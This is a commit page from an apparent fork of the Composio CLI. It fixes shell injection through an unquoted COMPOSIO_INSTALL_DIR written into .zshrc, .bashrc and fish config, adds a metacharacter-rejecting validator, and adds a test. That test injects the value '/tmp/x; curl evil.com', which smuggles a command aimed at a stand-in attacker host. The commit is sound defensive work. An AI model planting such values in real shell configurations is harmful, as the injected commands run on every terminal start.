@devries-cameron20 / composio-1 / commits / 87d1783c1
Fork 0

Composio powers 1000+ toolkits, tool search, context management, authentication, and a sandboxed workbench to help you build AI agents that turn intent into action.

fix(cli): prevent shell injection via COMPOSIO_INSTALL_DIR in rc files

The install command writes COMPOSIO_INSTALL_DIR into shell rc files (.zshrc, .bashrc, config.fish). Previously the value was unquoted, allowing shell metacharacters (;, `, $, |, etc.) to inject arbitrary commands that execute every time the user opens a terminal. Fix: - Quote the install directory value in all path blocks (bash, zsh, fish) - Add isUnsafePath validation that rejects paths with metacharacters - Quote the value in the manual setup note for unknown shells - Quote the fish and zsh fallback paths in install.sh - Add test for unsafe path rejection

jkomyno committed Mar 9, 2026 at 16:05 UTC 87d1783c1da184ae3b87c1e5365d6e6b2a595054
3 files changed +39 -9
install.sh
+4 -4
@@ -189,8 +189,8 @@ else
189 case $shell_name in
190 fish)
191 commands=(
192 - "set --export COMPOSIO_INSTALL_DIR $COMPOSIO_INSTALL_DIR"
193 - "set --export PATH $COMPOSIO_INSTALL_DIR \$PATH"
192 + "set --export COMPOSIO_INSTALL_DIR \"$COMPOSIO_INSTALL_DIR\""
193 + "set --export PATH \$COMPOSIO_INSTALL_DIR \$PATH"
194 )
195 fish_config=$HOME/.config/fish/config.fish
196 if [[ -w $fish_config ]] || [[ -w $(dirname "$fish_config") ]]; then
@@ -209,8 +209,8 @@ else
209 ;;
210 zsh)
211 commands=(
212 - "export COMPOSIO_INSTALL_DIR=$COMPOSIO_INSTALL_DIR"
213 - "export PATH=\"$COMPOSIO_INSTALL_DIR:\$PATH\""
212 + "export COMPOSIO_INSTALL_DIR=\"$COMPOSIO_INSTALL_DIR\""
213 + "export PATH=\"\$COMPOSIO_INSTALL_DIR:\$PATH\""
214 )
215 zsh_config=$HOME/.zshrc
216 if [[ ! -f $zsh_config && -w $(dirname "$zsh_config") ]]; then touch "$zsh_config"; fi
ts/packages/cli/src/commands/install.cmd.ts
+15 -3
@@ -37,6 +37,10 @@ interface ShellConfig {
37 const MARKER = '# Composio CLI';
38 const COMPLETIONS_MARKER = '# Composio CLI completions';
39
40 +/** Reject install directory paths containing shell metacharacters to prevent injection into rc files. */
41 +const UNSAFE_PATH_CHARS = /[;`$|&"'()\n\r\\]/;
42 +const isUnsafePath = (p: string): boolean => UNSAFE_PATH_CHARS.test(p);
43 +
44 const detectShell = (): Shell | undefined => {
45 const shellEnv = process.env.SHELL ?? '';
46 const base = path.basename(shellEnv);
@@ -62,13 +66,13 @@ const pathBlockForShell = (shell: Shell, installDir: string): string => {
66 case 'fish':
67 return [
68 MARKER,
65 - `set --export COMPOSIO_INSTALL_DIR ${installDir}`,
69 + `set --export COMPOSIO_INSTALL_DIR "${installDir}"`,
70 `set --export PATH $COMPOSIO_INSTALL_DIR $PATH`,
71 ].join('\n');
72 default:
73 return [
74 MARKER,
71 - `export COMPOSIO_INSTALL_DIR=${installDir}`,
75 + `export COMPOSIO_INSTALL_DIR="${installDir}"`,
76 `export PATH="$COMPOSIO_INSTALL_DIR:$PATH"`,
77 ].join('\n');
78 }
@@ -110,6 +114,14 @@ export const installShellIntegration = (params: {
114 // Detect install directory — either from env or default ~/.composio
115 const installDir = process.env.COMPOSIO_INSTALL_DIR ?? path.join(os.homedir, '.composio');
116
117 + if (isUnsafePath(installDir)) {
118 + yield* ui.log.error(
119 + 'COMPOSIO_INSTALL_DIR contains unsafe characters and cannot be written to shell config.'
120 + );
121 + yield* ui.outro('Aborted.');
122 + return;
123 + }
124 +
125 // Detect user shell
126 const shell = detectShell();
127 if (!shell) {
@@ -117,7 +129,7 @@ export const installShellIntegration = (params: {
129 'Could not detect your shell. Manually add the following to your shell config:'
130 );
131 yield* ui.note(
120 - `export COMPOSIO_INSTALL_DIR=${installDir}\nexport PATH="$COMPOSIO_INSTALL_DIR:$PATH"`,
132 + `export COMPOSIO_INSTALL_DIR="${installDir}"\nexport PATH="$COMPOSIO_INSTALL_DIR:$PATH"`,
133 'PATH setup'
134 );
135 yield* ui.outro('Manual setup required.');
ts/packages/cli/test/src/commands/install.cmd.test.ts
+20 -2
@@ -225,12 +225,30 @@ describe('CLI: composio install', () => {
225 const rcPath = path.join(os.homedir, '.zshrc');
226 const contents = yield* fs.readFileString(rcPath);
227
228 - // Should use ~/.composio as the default install directory
228 + // Should use ~/.composio as the default install directory (quoted)
229 expect(contents).toContain(
230 - `export COMPOSIO_INSTALL_DIR=${path.join(os.homedir, '.composio')}`
230 + `export COMPOSIO_INSTALL_DIR="${path.join(os.homedir, '.composio')}"`
231 );
232 })
233 );
234 });
235 });
236 +
237 + describe('[When] COMPOSIO_INSTALL_DIR contains shell metacharacters', () => {
238 + layer(TestLive())(it => {
239 + it.scoped('[Then] aborts with an error', () =>
240 + Effect.gen(function* () {
241 + process.env.SHELL = '/bin/zsh';
242 + process.env.COMPOSIO_INSTALL_DIR = '/tmp/x; curl evil.com';
243 +
244 + yield* cli(['install']);
245 +
246 + const lines = yield* MockConsole.getLines();
247 + const output = lines.join('\n');
248 + expect(output).toContain('unsafe characters');
249 + expect(output).toContain('Aborted');
250 + })
251 + );
252 + });
253 + });
254 });